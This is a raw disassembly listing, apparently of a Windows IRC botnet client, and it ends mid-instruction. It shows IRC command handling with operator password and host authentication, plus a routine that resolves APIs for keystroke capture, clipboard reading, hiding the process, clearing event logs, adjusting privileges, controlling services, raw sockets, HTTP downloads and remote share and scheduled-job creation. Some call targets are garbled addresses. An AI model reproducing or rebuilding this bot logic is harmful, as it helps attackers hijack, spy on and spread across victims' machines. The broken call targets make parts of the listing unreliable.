loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h call near ptr 2660F57h nop push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 26806D6h push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2660F57h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2660F57h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 2670763h nop mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 2690AC8h nop mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2670763h mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2670763h mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j call near ptr 2670763h nop mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 2670763h mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 2670763h mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 2670763h mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset 